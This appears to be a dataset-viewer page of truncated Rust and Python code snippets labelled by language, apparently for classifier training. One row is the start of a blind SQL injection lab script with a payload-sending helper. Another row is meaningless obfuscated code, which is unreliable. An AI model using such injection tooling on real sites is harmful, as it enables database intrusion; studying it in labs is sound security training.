text string | label_name string | labels int64 |
|---|---|---|
_coefficients: &G_VSOP87E_Y5_MARS }
];
const G_VSOP87E_Z_MARS: [aavsop87::VSOP87Coefficient2; 6] =
[
aavsop87::VSOP87Coefficient2 { p_coefficients: &G_VSOP87E_Z0_MARS },
aavsop87::VSOP87Coefficient2 { p_coefficients: &G_VSOP87E_Z1_MARS },
aavsop87::VSOP87Coefficient2 { p_coeffici... | Rust | 0 |
B), (2, C), (3, D), (4, E), (5, F));
factory_tuple!(((0, Aex), (1, Bex), (2, Cex), (3, Dex), (4, Eex)), (0, A), (1, B), (2, C), (3, D), (4, E), (5, F));
factory_tuple!(((0, Aex), (1, Bex), (2, Cex), (3, Dex), (4, Eex), (5, Fex)), (0, A), (1, B), (2, C), (3, D), (4, E), (5, F));
factory_tuple_unit!((0, A), (1, B), (2, ... | Rust | 0 |
# Assignment: 3_4 Guest_list
# Author:Jessica Griffin
# Date: February 02, 2025
dinner_guest = ['dad', 'mom mom and pop pop', 'will ferrell']
print(dinner_guest)
first_guest =(f"\nHello {dinner_guest[0].title()}, \n It has been many years since you passed. \n I would like to invite you to Dinner. \n Please come to m... | Python | 1 |
append(&mut vec![0;2-(total_len%2)]);
debug_data.append(&mut util::to_u8array(&self.hash));
data.append(&mut util::create_chunk(debug_data, b"ADBG"));
util::create_chunk(data, b"AHDR")
}
pub fn get_output_folder(&self) -> String {
return self.filetype.to_string().trim().into()
}
pub fn get_output_extens... | Rust | 0 |
# reference: https://github.com/Sanbongawa/binary_swarm_intelligence
import math
import torch
import tqdm
@torch.no_grad()
def bba(func, x0=None, n=200, maxiter=2000, topk=100, is_min=True, fmin=0, fmax=2, loud_A=0.25, r0=0.4, alpha=0.999, gamma=10., progress=False):
"""
Binary Bat Algorithm
input:{ fun... | Python | 1 |
(self.data_block_size)?;
data.write_u64::<LittleEndian>(self.compression_algorithm as u64)?;
data.write_u64::<LittleEndian>(self.count_entries)?;
data.write_u64::<LittleEndian>(self.count_data_blocks)?;
data.write_u64::<LittleEndian>(self.bytes_data_blocks)?;
data.write_u64::<Lit... | Rust | 0 |
rdump::actions::{self, Runner};
use std::path::Path;
mod lvm;
mod zfs;
fn main() -> Result<()> {
if users::get_effective_uid() != 0 {
return Err(anyhow::anyhow!("fstest needs to be run as root"));
}
// Initialze the logger that interacts well with rsure's progress
// meter.
rsure::log_in... | Rust | 0 |
ame, description, authors, manual section).
man_pages = [
(master_doc, 'certbot-dns-rfc2136', u'certbot-dns-rfc2136 Documentation',
[author], 1)
]
# -- Options for Texinfo output -------------------------------------------
# Grouping the document tree into Texinfo files. List of tuples
# (source start file,... | Python | 1 |
+ h_zrh.index_axis(Axis(1), 0);
if let Some(bias) = bias {
zt += &bias.slice(s!(dir, 3 * hidden_size..4 * hidden_size));
}
let zt: Array2<f32> = self
.f
.eval(tvec!(zt.into_arc_tensor()))?
.re... | Rust | 0 |
# Configuration file for the Sphinx documentation builder.
#
# This file only contains a selection of the most common options. For a full
# list see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html
# -- Path setup --------------------------------------------------------------
# If ex... | Python | 1 |
from rest_framework import serializers
from .models import Vendor, PurchaseOrder, HistoricalPerformance
class VendorSerializer(serializers.ModelSerializer):
class Meta:
model = Vendor
fields = '__all__'
class PurchaseOrderSerializer(serializers.ModelSerializer):
class Meta:
model = ... | Python | 1 |
impl Div for Position {
type Output = Self;
#[inline]
fn div(self, other: Self) -> Self {
Self { x: self.x / other.x, y: self.y / other.y }
}
}
impl DivAssign for Position {
#[inline]
fn div_assign(&mut self, other: Self) {
*self = Self { x: self.x / other.x, y: self.y / other... | Rust | 0 |
rty(&outputs[0], &CustomType::Struct)?
.parse()
.unwrap();
Ok(tok)
} else {
expand_type(&parse_param(&outputs[0])?)
}
}
_ => {
let types = outputs
.iter()
.... | Rust | 0 |
o if this
///is an expected possibility, it is recommended to use [TryInto](core::convert::TryInto) or
///a different to perform the operation.
///
///It is worth noting that this particular design was chosen over returning a [Result]
///or [Option] since this general behavior is already the default... | Rust | 0 |
))
for edge in combinations(clique, 2):
inequalities.remove(edge)
if len(clique) > 1:
inequalities.add(clique)
res = {'graph': graph,
'inequalities': inequalities,
'node_existence_prob': node_existence_prob,
... | Python | 1 |
ssian)
xnli_lengths1 = plot_length_distribution("xnli", "ur")
xnli_lengths2 = plot_length_distribution("xnli", "en")
xnli_lengths3 = plot_length_distribution("xnli", "ru")
xnli_lengths4 = plot_length_distribution("xnli", "hi")
# # Create plots for PAWS-X (English)
# pawsx_lengths = plot_len... | Python | 1 |
)));
}
prev = Some(c);
}
if no_dot {
return Err(Error::InvalidInterfaceName(String::from(
"must contain at least 1 `.`",
)));
}
Ok(())
}
/// This never succeeds but is provided so it's easier to pass `Option::None` values for API
/// requiring ... | Rust | 0 |
libs\x86/windows.ai.machinelearning.lib"#);
static X86_WINDOWS_DATA_PDF: &[u8] = include_bytes!(r#"../libs\x86/Windows.Data.Pdf.lib"#);
static X86_WINDOWS_NETWORKING: &[u8] = include_bytes!(r#"../libs\x86/Windows.Networking.lib"#);
static X86_WINDOWS_UI_XAML: &[u8] = include_bytes!(r#"../libs\x86/Windows.UI.Xaml.lib"#)... | Rust | 0 |
import logging
import pprint
import sys
import time
from datetime import datetime
import ts_rotate.common
import ts_rotate.tailscale
from ts_rotate.tailscale import AuthKeyManager
# to run this script you will need to set some env-vars
# TS_CLIENT_ID_PARAM=/abel-testing-ts-client-id
# TS_CLIENT_SECRET_PARAM=/abel-tes... | Python | 1 |
assert_allclose(a1, a2, atol=atol)
assert_allclose(a2, a3, atol=atol)
assert_allclose(b1, b2, atol=atol)
assert_allclose(b2, b3, atol=atol)
def test_float32_predict_proba(data):
"""Check that CalibratedClassifierCV works with float32 predict proba.
Non-regression test for gh-28245.
"""
... | Python | 1 |
# Copyright @ 2019 Alibaba. All rights reserved.
# Created by ruhuan on 2019.08.31
""" python wrapper file for mnn quant tool """
from __future__ import print_function
import os
import sys
import argparse
import _tools as Tools
import json
import MNN
try:
from MNN.tools.utils.log import mnn_logger
except:
mnn_l... | Python | 1 |
import ollama
import json
import os
# This programm requires ollama installed with a model such as Mistral or Llama
userwish = input("What should i do for you, master: ")
response = ollama.chat(
model="mistral",
messages=[
{
"role": "user",
#for linux users with bash
... | Python | 1 |
ootTime,
"extremeStackingPortTable": extremeStackingPortTable,
"extremeStackingPortEntry": extremeStackingPortEntry,
"extremeStackingPortIfIndex": extremeStackingPortIfIndex,
"extremeStackingPortRemoteMac": extremeStackingPortRemoteMac,
"extremeStackingPortLinkSpeed": extremeStackingP... | Python | 1 |
<(), LoggerError> {
if self.apm_server_api_credentials.is_none() {
self.apm_server_api_credentials =
Some(ApmServerApiCredentials::from_file(filepath).map_err(|err| {
LoggerError::LoggerConfigurationError {
message: format!(
... | Rust | 0 |
#!/usr/bin/env python3
# Copyright (c) 2017 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test various command line arguments and configuration file parameters."""
import os
from test_framework.te... | Python | 1 |
tate_exists(hash, |maybe_call| {
let (_, maybe_caller) = maybe_call.take().ok_or(Error::<T>::CallNotAuthorized)?;
match root_or_sigend {
Either::Left(_) => {} // root, do nothing
Either::Right(who) => {
// signed, ensure it's the caller
let caller = maybe_caller.ok_or(Error::<T>::CallNotAu... | Rust | 0 |
f\xcf\x22\
\x8b\x99Q\xaf\xd7\xb1\xbc\xbc\x84\x8d\x8d\x0d\x5c\xb9\xf2\x02\
\xbe\xf5\xf3\xdf\xc2\xf9\xf3\xe7a\xd9\xd6\xa1\xa0\x82'\xae\
\x0d\xf88\xca\xdf-E\xb4\xdbJ\xb9`\xadQ\xdb\xd8\
2\xe3~t\x0d&_\xcc\x10\x11\xd2\x8e\x05A\x84\x85\
\x8d2\xca5\x0f?\xfc\xe1O\xf1K\xdf\xfe2F\xc7\
Gvm\xc9\x93\x90\xf2\xf2\xb2\xb7z\xff^\xb5\xb6... | Python | 1 |
", "迪奥娜", "辛焱"],
"from": "2021-08-10 18:00:00",
"name": "焰色天河",
"to": "2021-08-31 14:59:59",
},
{
"five": ["神里绫华"],
"four": ["凝光", "重云", "烟绯"],
"from": "2021-07-21 06:00:00",
"name": "白鹭之庭",
"to": "2021-08-10 17:59:59",
},
{
"five":... | Python | 1 |
BlockIx, SparseSetU<[BlockIx; 4]>>::new();
for b in func.blocks() {
let mut bix_set = SparseSetU::<[BlockIx; 4]>::empty();
for bix in func.block_succs(b).iter() {
bix_set.insert(*bix);
}
succ_map.push(bix_set);
}
// Now invert the mapping
let mut pred_map = T... | Rust | 0 |
import numpy as np
import pandas as pd
from .config import INDICATOR_CONFIG
class TechnicalIndicators:
@staticmethod
def calculate_ma(close_prices, periods=None):
"""计算多个周期的移动平均线"""
if periods is None:
periods = INDICATOR_CONFIG['technical']['ma_periods']
ma_dict = ... | Python | 1 |
from bs4 import BeautifulSoup
import requests
# LAB13 Blind SQLi CAST()
# Author: AFANX
# 11/08/2024
def info(msg):
print("[!] " + str(msg))
def error(msg):
print("[-] " + str(msg))
def success(msg):
print("[+] " + str(msg))
def send(payload, cookie=None):
info(payload)
if(cookie is None):
... | Python | 1 |
account::remote::proxy_search::infra::SearchAuthUserAccountProxyResponse;
use crate::{
auth::user::account::remote::proxy_search::data::SearchAuthUserAccountProxyMessage,
z_lib::remote::message::data::MessageError,
};
pub struct ResponseEncoder;
impl<'a> AuthProxyResponseEncoder<SearchAuthUserAccountProxyRes... | Rust | 0 |
| Some(ModSelection::Include(mods)) = params.mods {
let _ = write!(content, " ~ `Mods: {mods}`");
}
// Creating the embed
let embed = embed_data.into_builder().build();
let builder = MessageBuilder::new().content(content).embed(embed);
let response_raw = data.create_message(&ctx, builder).... | Rust | 0 |
k_mutex_t = k_mutex_t::default();
let mut test_mutex_00_dyn : *mut *mut k_mutex_t = &mut test_mutex_00 as *mut _ as *mut *mut k_mutex_t;
let mut err = rust_tos_mutex_create_dyn(test_mutex_00_dyn);
if(err != K_ERR_NONE){
rust_print("RUST: rust_tos_mutex_create_dyn failed\r\n\0".as_p... | Rust | 0 |
EMPTY => Error::ENOTEMPTY,
nix::errno::Errno::ELOOP => Error::ELOOP,
nix::errno::Errno::ENOMSG => Error::ENOMSG,
nix::errno::Errno::EIDRM => Error::EIDRM,
nix::errno::Errno::ENOLINK => Error::ENOLINK,
nix::errno::Errno::EPROTO => Error::EPROTO,
nix::errno::Errno::EMULTIHO... | Rust | 0 |
holidays(self):
"""
Decreto-Lei n.º 101/84/M - Earliest Available Version Online.
Decreto-Lei n.º 24/89/M - Added Ching Ming Festival.
Lei n.º 8/2000 - Removed Day of Portugal
- Added Macao S.A.R. Establishment Day.
- Moved Mid-Autumn to Day ... | Python | 1 |
, |min, p| p.y.min(min)) + 0.5 * max_width
> 0.0
{
continue;
}
if cps[..3].iter().fold(Float::MIN, |max, p| p.x.max(max)) + 0.5 * max_width < 0.0
|| cps[..3].iter().fold(Float::MAX, |min, p| p.x.min(min)) + ... | Rust | 0 |
"Cyrillic_SHCHA",
"Cyrillic_SHHA",
"Cyrillic_shha",
"Cyrillic_shorti",
"Cyrillic_SHORTI",
"Cyrillic_softsign",
"Cyrillic_SOFTSIGN",
"Cyrillic_te",
"Cyrillic_TE",
"Cyrillic_tse",
"Cyrillic_TSE",
"Cyrillic_u",
"Cyrillic_U",
"Cyrillic_U_macron",
"Cyrillic_u_macron",... | Rust | 0 |
gs:\n")
for key, value in settings.items():
# 跳过以_开头的属性
if key.startswith('_'):
continue
if isinstance(value, dict):
param_text.insert(tk.END, f"\n{key}:\n")
for sub_key, sub_value in value.items():
# 跳过以_开头的子属性
... | Python | 1 |
for {}", cargo_toml.display());
let current_dir = cargo_toml.parent().ok_or_else(|| {
format_err!("Failed to find the parent directory for {}", cargo_toml.display())
})?;
let sysroot_dir = discover_sysroot_dir(current_dir)?;
let sysroot_src_dir = discover_sysroot_src_dir(&sys... | Rust | 0 |
TyKind::Wand(_, _) |
TyKind::Not(_) |
TyKind::Pure(_) |
TyKind::Heap(_, _, _) |
TyKind::HasTy(_, _) |
TyKind::Input |
TyKind::Output |
TyKind::Ghost(_) => Some(0),
TyKind::Bool => Some(1),
TyKind::Own(_) |
TyKind::RefSn(_) => Some(8),
TyKind::User(_, _... | Rust | 0 |
}
// Four lanes
impl<
REF_CLK,
MDIO,
MDC,
CRS_DV,
RXD0,
RXD1,
RXD2,
RXD3,
TX_EN,
TXD0,
TXD1,
TXD2,
TXD3,
> PinsRMII
for (
REF_CLK,
MDIO,
MDC,
CRS_DV,
RXD0,
RXD... | Rust | 0 |
cs_f64() * 1000.0);
ubs_time += time;
path_cb(&path);
if violating.is_empty() {
break Some(());
}
for node in &mut path {
*node = self.shortest_path.order().rank(*node);
}
for violating_range in violat... | Rust | 0 |
().into_owned();
assert_eq!(t_dim, t_dim_2);
}
#[test]
fn test_cast_i32_to_dim() {
let t_i32: Tensor = tensor1(&[0i32, 0]);
t_i32.cast_to::<TDim>().unwrap();
}
#[test]
fn test_cast_i64_to_bool() {
let t_i64: Tensor = tensor1(&[0i64]);
t_i64.cast_to::<boo... | Rust | 0 |
from rest_framework import serializers
from mkt.webapps.serializers import SimpleAppSerializer, SimpleESAppSerializer
from mkt.websites.serializers import ESWebsiteSerializer, WebsiteSerializer
class TVAppSerializer(SimpleAppSerializer):
tv_featured = serializers.IntegerField()
class Meta(SimpleAppSerializer... | Python | 1 |
le(), PollOpt::edge())
// .expect("cannot register socket on poll");
// }
//
// pub fn reregister(&mut self, poll: &mut Poll, interest: Ready) {
// poll.reregister(&self.socket, CONNECTION, interest, PollOpt::edge())
// .expect("cannot reregister socket on poll... | Rust | 0 |
0, cnt_batch0 = [], [0]
pruned_loss_batch1, cnt_batch1 = [], [n_pairs_perbatch]
pruned_loss_batch2, cnt_batch2 = [], [2*n_pairs_perbatch]
pruned_loss_batch3, cnt_batch3 = [], [3*n_pairs_perbatch]
pruned_loss_batch4, cnt_batch4 = [], [4*n_pairs_perbatch]
pruned... | Python | 1 |
w=0j, fizymom_skp: o7bjqnuis6s=0.0):
zwi3qqhkvkw = psptmncpwt7 = w80e1c12z9s = d_t5t1yhnof
'# lieutenant_oscillations_boxes -> sums_afternoon_checker'
'# lieutenant_oscillations_boxes -> sums_afternoon_checker'
0 .uywq6nqts71: '' = oqzh4tp2vnf
hmzw_lq1cru.rl65wi5njsg ^= c0t23m060fj
'# lieutenant... | Python | 1 |
y, and also since we're going to be passing it to the
// initial task.
let space = unsafe { paging::AddressSpace::current() };
const EXTRA_PAGES: usize = 512;
unsafe {
for _ in 0..EXTRA_PAGES {
let sma_alloc = malloc::heap_pages::allocate(0x1000)
.expect("Could not a... | Rust | 0 |
#!/usr/bin/env python3
"""
Font4x7 class for 4x7 pixel bitmap font.
Implements numerals 0-9 in a 4x7 pixel grid.
"""
from ..basefont import BaseFont
class Font4x7(BaseFont):
"""4x7 pixel bitmap font for numerals"""
WIDTH = 4
HEIGHT = 7
FONT = {
# 0x20 (space)
" ": [
"... | Python | 1 |
to `require_init` above.
Ok(sodium::randombytes_random())
}
}
/// Returns a random number in the range low (included) to high (excluded).
///
/// This should be preferred to simply taking [`random_u32`] modulo some value, which does not
/// guarantee a uniform distribution of output values.
pub fn random_... | Rust | 0 |
import asyncio
from pathlib import Path
import aiofiles
import aiofiles.os as aioos
from app.minecraft.docker.manager import ComposeManager
docker_compose_content_template = """
services:
mcc:
image: ghcr.io/xyqyear/minecraft-console-client
container_name: mcc-{username}
command: ["{username}", "-", "{... | Python | 1 |
ller.set_cost_parameters(
p1p1_cost=Q[0, 0],
p2p2_cost=Q[1, 1],
v1v1_cost=Q[2, 2],
v2v2_cost=Q[3, 3],
p1v1_cost=0.0,
p1v2_cost=0.0,
p2v1_cost=0.0,
p2v2_cost=0.0,
u1u1_cost=R[0, 0],
u2u2_cost=R[1, 1],
u1u2_cost=0.0,
)
control... | Python | 1 |
let data = data.take_struct().unwrap();
let field_names = data.fields.iter().enumerate().map(|(index, field)| {
field
.ident
.as_ref()
.map(|ident| quote! { #ident })
.unwrap_or_else(|| {
let index = syn::In... | Rust | 0 |
or(&self, field: &str) -> bool {
self.args.contains_key(field)
}
pub fn get_field_value(&self, field: &str) -> Option<&PrismaValue> {
self.args.get(field)
}
pub fn take_field_value(&mut self, field: &str) -> Option<PrismaValue> {
self.args.remove(field)
}
pub fn keys(&... | Rust | 0 |
# Copyright (c) 2024 S. Holzapfel <me@sebholzapfel.com>
#
# SPDX-License-Identifier: CERN-OHL-S-2.0
from amaranth import *
from amaranth.lib import stream, wiring
from amaranth.lib.wiring import In, Out
from . import ASQ
def named_submodules(m_submodules, elaboratables, override_name=None):
"""
Normally, us... | Python | 1 |
"""JupyterHub single-user server entrypoints
Contains default notebook-app subclass and mixins
Defaults to:
- Jupyter server extension with Jupyter Server >=2
- Subclass with Jupyter Server <2 or clasic notebook
Application subclass can be controlled with environment variables:
- JUPYTERHUB_SINGLEUSER_EXTENSION=1 ... | Python | 1 |
) = self.tuple();
let h = (h + 120.0) * DEG_TO_RAD;
let amp = s * l * (1.0 - l);
let cosh = h.cos();
let sinh = h.sin();
Color::of(
l + amp * (M[0] * cosh + M[1] * sinh),
l + amp * (M[2] * cosh + M[3] * sinh),
l + amp * (M[4] * cosh + M[5] *... | Rust | 0 |
#the characters from index 2 to index 4 (llo)
txt = "Hello World"
x = txt[2:5]
print(x) | Python | 1 |
you basically have
//! no real chance to reliably erase their sensitive contents.
//!
//! However they all use the global allocator – so all ways lead to Rome (or in this case to the
//! global allocator's `alloc` and `dealloc` functions) – which is where `MAProper` is sitting and
//! waiting to take care of the disca... | Rust | 0 |
ory()` and `CryptUnprotectMemory()` to protect the values
/// against memory scans attacks.
pub struct Win32ProtectedValue {
protected_data: SecretBytes,
}
impl Win32ProtectedValue {
/// Returns the size of the buffer required to store the protected value.
///
/// Arguments:
/// - `data_s... | Rust | 0 |
er().__init__(model.input, outputs=intermediate_fmaps)
def __repr__(self) -> str:
return f"{self.__class__.__name__}()"
def export_model_to_onnx(
model: Model, model_name: str, dummy_input: list[tf.TensorSpec], **kwargs: Any
) -> tuple[str, list[str]]:
"""Export model to ONNX format.
>>> imp... | Python | 1 |
from ultralytics import YOLO
import cv2
import cvzone # Assuming you have the cvzone library installed
import math
# Set up the video capture
cap = cv2.VideoCapture(0)
cap.set(3, 1280)
cap.set(4, 720)
# Load YOLO model
model = YOLO("best.pt")
# Define the class names for YOLO model
className = ["eye"]
# Main loop ... | Python | 1 |
ar=just(T::Number)]),
T::map(T::String, just(T::Integer));
_);
*/
check!(T::map(T::String, just(T::Integer)),
T::map(T::String, just(T::Integer));
T::map(T::String, just(T::Integer)));
check!(T::map(T::String, cnst(T::Integer)),
... | Rust | 0 |
total_minutes:i32 = find_minutes(hours, minutes);
Self {
hours: (total_minutes / 60) % 24,
minutes: total_minutes % 60,
}
}
pub fn add_minutes(&self, minutes: i32) -> Self {
let total_minutes:i32 = find_minutes(self.hours, self.minutes + minutes);
... | Rust | 0 |
_Ime'*"]
pub const IMEPADCTRL_DETERMINALL: u32 = 2u32;
#[doc = "*Required features: 'Win32_UI_Input_Ime'*"]
pub const IMEPADCTRL_DETERMINCHAR: u32 = 3u32;
#[doc = "*Required features: 'Win32_UI_Input_Ime'*"]
pub const IMEPADCTRL_INSERTFULLSPACE: u32 = 14u32;
#[doc = "*Required features: 'Win32_UI_Input_Ime'*"]
pub cons... | Rust | 0 |
res = i.square();
///
///assert_eq!(144, res);
/// ```
fn square(&self) -> Self;
/// Cube a number.
/// # Returns
/// The cube of the number.
/// # Caution
/// This function does not check if overflow occurs.
fn cube(&self) -> Self;
}
/// Trait for prime functions.... | Rust | 0 |
from fastapi import APIRouter, Depends, HTTPException, status
from sqlalchemy.orm import Session
from app.schemas.blog import BlogCreate, BlogOut, BlogUpdate
from app.models.user import User
from app.crud.blog import create_blog, get_latest_blogs, get_user_blogs, delete_blog, update_blog
from app.deps import get_curren... | Python | 1 |
[cfg(feature = "std")] use core_simd::{Simd, Mask};
/// # #[cfg(not(feature = "std"))] use core::simd::{Simd, Mask};
/// let vec: Vec<i32> = vec![10, 11, 12, 13, 14, 15, 16, 17, 18];
/// let idxs = Simd::from_array([9, 3, 0, 5]);
/// let alt = Simd::from_array([-5, -4, -3, -2]);
/// let enable = Mas... | Rust | 0 |
'''
Reescreva a função leiaint() que fizemos no desafio 104,
incluindo agora a possibilidade da digitação de um número
de tipo inválido. Aproveite e crie também uma função leiafloat()
com a mesma funcionalidade.
'''
| Python | 1 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# input-remapper - GUI for device specific keyboard mappings
# Copyright (C) 2025 sezanzeb <b8x45ygc9@mozmail.com>
#
# This file is part of input-remapper.
#
# input-remapper is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Pu... | Python | 1 |
import streamlit as st
from langchain_community.graphs import Neo4jGraph
# Connect to Neo4j
graph = Neo4jGraph(
url=st.secrets["NEO4J_URI"],
username=st.secrets["NEO4J_USERNAME"],
password=st.secrets["NEO4J_PASSWORD"]
)
| Python | 1 |
\n', '') # 去掉换行符
start, end = re.findall("(\d+:\d+:\d+\.\d+)", line) # 开始结束时间
old_time = f"{start},{end}"
start_h, start_m, start_s, start_ms = re.split(r"[:.]", start) # 开始时间
end_h, end_m, end_s, end_ms = re.split(r"[:.]", end) # 结束时间
start_ms = float(f"0... | Python | 1 |
j, pk, pl, @ yx m2, != odd);
// case!(3: pi, pk, pl, @ yx, != odd);
// case!(2: pk, pl, @ x, != odd);
// case!(2: pl, pk, @ y, != odd);
// // case!(3: pi, pk, pl, @ xy m2, != odd); Impossible
// // case!(2: pk, pl, @ m2, != odd); Impossible
// // case!(3: pi, pk, pl, @ zy, != odd); Impossible
... | Rust | 0 |
# map the grid point to the absolute coordinates
abs_xs = (xs.float() + 0.5) / w * widths + x1
abs_ys = (ys.float() + 0.5) / h * heights + y1
# get the grid points indices that fall on the bbox boundaries
x1_inds = [i for i in range(self.grid_size)]
y1_inds = [i * self.... | Python | 1 |
"""
Adaptadores para Machine Learning
"""
| Python | 1 |
id: another_id.clone(),
data: (Value::from("snot"), Value::object()).into(),
transactional: true,
..Event::default()
};
harness.send_to_sink(event, IN).await?;
// check that we got an ack for the event
let cf = in_pipe.get_contraflow().await?;
assert_eq!(CbAction::Ack,... | Rust | 0 |
").unwrap();
file_html.write_all(b"<div>hello</div>");
let mut file_txt = File::create("dir/foo.txt").unwrap();
file_txt.write_all(b"hello");
let mut file_rb = File::create("dir/foo.rb").unwrap();
file_rb.write_all(b"puts 'hello'");
let entries = get_entries("dir").unwrap();
assert_eq!(en... | Rust | 0 |
#[token("?")]
Question,
#[token(";")]
Semicolon,
#[token("(*", comment_lexer)]
#[regex(r"[ \t\r\n\f]+", logos::skip)]
#[error]
Error,
}
fn comment_lexer(lex: &mut Lexer<LogosToken>) -> Skip {
let rem = lex.remainder();
let (mut nesting, mut previous) = (0, None);
for (id... | Rust | 0 |
: f32,
}
#[inline]
fn to_vertex(
glyph_brush::GlyphVertex {
mut tex_coords,
pixel_coords,
bounds,
extra,
}: glyph_brush::GlyphVertex,
) -> BrushVertex {
let gl_bounds = bounds;
use glyph_brush::ab_glyph::Rect;
let mut gl_rect = Rect {
min: point(pixel_coord... | Rust | 0 |
t of our `Uniforms` type conforms to
/// // the std140 data layout.
/// #[std140::repr_std140]
/// #[derive(web_glitz::derive::InterfaceBlock, Clone, Copy)]
/// struct Uniforms {
/// scale: std140::float,
/// }
///
/// let uniforms = Uniforms {
/// scale: std140::float(0.5),
... | Rust | 0 |
urns squared EDT.
///
/// It is more efficient if you only need squared edt, because you wouldn't need to compute square root.
pub fn edt_sq<T: BoolLike>(map: &[T], shape: (usize, usize), invert: bool) -> Vec<f64> {
let horz_edt = horizontal_edt(map, shape, invert);
let vertical_scan = |x, y| {
let tot... | Rust | 0 |
\"account_number\": 10,
\"sequence\": 0,
\"permissions\": [
{
\"permissions\": [
\"burn\",
\"delete\",
\"deposit\",
\"admin\",
\"mint\",
... | Rust | 0 |
et header = parser.parse_header()?;
let data = header
.find_var(&["top", wire_name])
.ok_or_else(|| {
io::Error::new(
ErrorKind::InvalidInput,
format!("no wire top.{}", wire_name),
)
})?
.code;
let timescale = header.timesc... | Rust | 0 |
# Description of the problem can be found at http://codeforces.com/problemset/problem/34/B
n, m = map(int, input().split())
l_t = list(map(int, input().split()))
l_t.sort()
t_m = 0
c = 0
for t in l_t:
if t < 0 and c < m:
t_m -= t
c += 1
else:
break
print(t_m)
| Python | 1 |
impl nng_stat_type_enum {
/// Converts value returned by [nng_stat_type](https://nanomsg.github.io/nng/man/v1.1.0/nng_stat_type.3) into `nng_stat_type_enum`.
pub fn try_convert_from(value: i32) -> Option<Self> {
use crate::nng_stat_type_enum::*;
match value {
value if value == NNG_S... | Rust | 0 |
}
impl From<crate::R<MCCR1_SPEC>> for R {
#[inline(always)]
fn from(reader: crate::R<MCCR1_SPEC>) -> Self {
R(reader)
}
}
#[doc = "Register `MCCR1` writer"]
pub struct W(crate::W<MCCR1_SPEC>);
impl core::ops::Deref for W {
type Target = crate::W<MCCR1_SPEC>;
#[inline(always)]
fn deref(&s... | Rust | 0 |
music = {
"bipin": "https://www.youtube.com/watch?v=U47Tr9BB_wE",
"march": "https://www.youtube.com/watch?v=tAhLHQv_VzU",
"skyfall": "https://www.youtube.com/watch?v=sZrTJesvJeo",
"wolf": "https://www.youtube.com/watch?v=KTmatjyd4KM"
} | Python | 1 |
aram_member", "forecast"],
)
df = DataFrame(data=result_array.T, index=index, columns=mi, dtype=float)
return df
def get_overall_mean_and_variance(df: DataFrame) -> tuple[DataFrame, DataFrame]:
"""Method to get the overall mean and variance of the forecast ensemble.
Parameters
----------
... | Python | 1 |
fruits={
'apple','manago',1,2,3.1
}
print(fruits) | Python | 1 |
import click
from sshclick.sshc import SSH_Config
from sshclick.sshc import complete_ssh_group_names
#TODO: Check click.edit for multiline edit option (info, or even params?)
#------------------------------------------------------------------------------
# COMMAND: group set
#-----------------------------------------... | Python | 1 |
ReservedIdentifier(_) => "ReservedIdentifier",
InvalidToken(_) => "InvalidToken",
Else => "Else",
False => "False",
If => "If",
Null => "Null",
True => "True",
Abort => "Abort",
// tokens
Colon => "Colon",
... | Rust | 0 |
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
from fake_useragent import UserAgent
from lxml import etree
import json
from urllib import parse
ua = UserAgent()
headers = {"User-Agent": ua.random,
"Referer": "http://gz.ziroom.com/"}
def job():
# content = requests.get("url":"http://hz.ziro... | Python | 1 |
mplicity.
internal_format: GLenum,
/// The structure of the uploaded pixel data.
///
/// This can indicate, for example, the number of color fields in the pixel data, or if the
/// format is a depth format.
pixel_format: GLenum,
/// The *underyling type* for the u... | Rust | 0 |
array([3, 0, 0, 1, 0, 3, 2]) # Set a>3 to 0
expected_c = np.array(
[3., 4., 5., -1., 4., 3., -1.]) # Set a<3 to -1. Float32
idxb_ = input_a > 3
idxc_ = input_a < 3
matcher = argmax_matcher.ArgMaxMatcher(matched_threshold=None)
a = tf.constant(input_a)
idxb = tf.constant(idxb_)
id... | Python | 1 |
let $x = $crate::__impl!([$x] $($args)*);
$crate::__impl!([$x] $($($rest)*)?)
}};
// We can actually just ignore field names with a colon after them;
// the parser does not need to care about this kind of nesting.
([$x:tt] $field:ident: $(,$($rest:tt)*)?) => {
$crate::__impl!([$x] $($($rest)*)?)
... | Rust | 0 |
it__(self, **kwargs):
self.is_placeholder = True
super(CustomVariationalLayer, self).__init__(**kwargs)
def vae_loss(self, x, x_decoded_mean_squash):
x = K.flatten(x)
x_decoded_mean_squash = K.flatten(x_decoded_mean_squash)
xent_loss = img_rows * img_cols * \
met... | Python | 1 |
(&expected_parents)
.all(|(actual, expected)| actual.0 == *expected);
if !parents_as_expected {
println!("proof parents were not those provided in public parameters");
return Ok(false);
}
}
let challeng... | Rust | 0 |
{
match stroke_color {
Color::Cmyk(color) => {
HPDF_Page_SetCMYKStroke(page, *color.c(), *color.m(), *color.y(), *color.k());
}
Color::Rgb(color) => {
HPDF_Page_SetRGBStroke(page, *color.r(), *color.g(), *color.b());
}
... | Rust | 0 |
import numpy as np
import torch
import trimesh
import config
def _initialize_hands(self):
smplx_lhand_to_mano_rhand_data = np.load(config.PROJ_DIR + '/smpl_files/mano/smplx_lhand_to_mano_rhand.npz', allow_pickle = True)
smplx_rhand_to_mano_rhand_data = np.load(config.PROJ_DIR + '/smpl_files/mano/smplx_rhand_... | Python | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.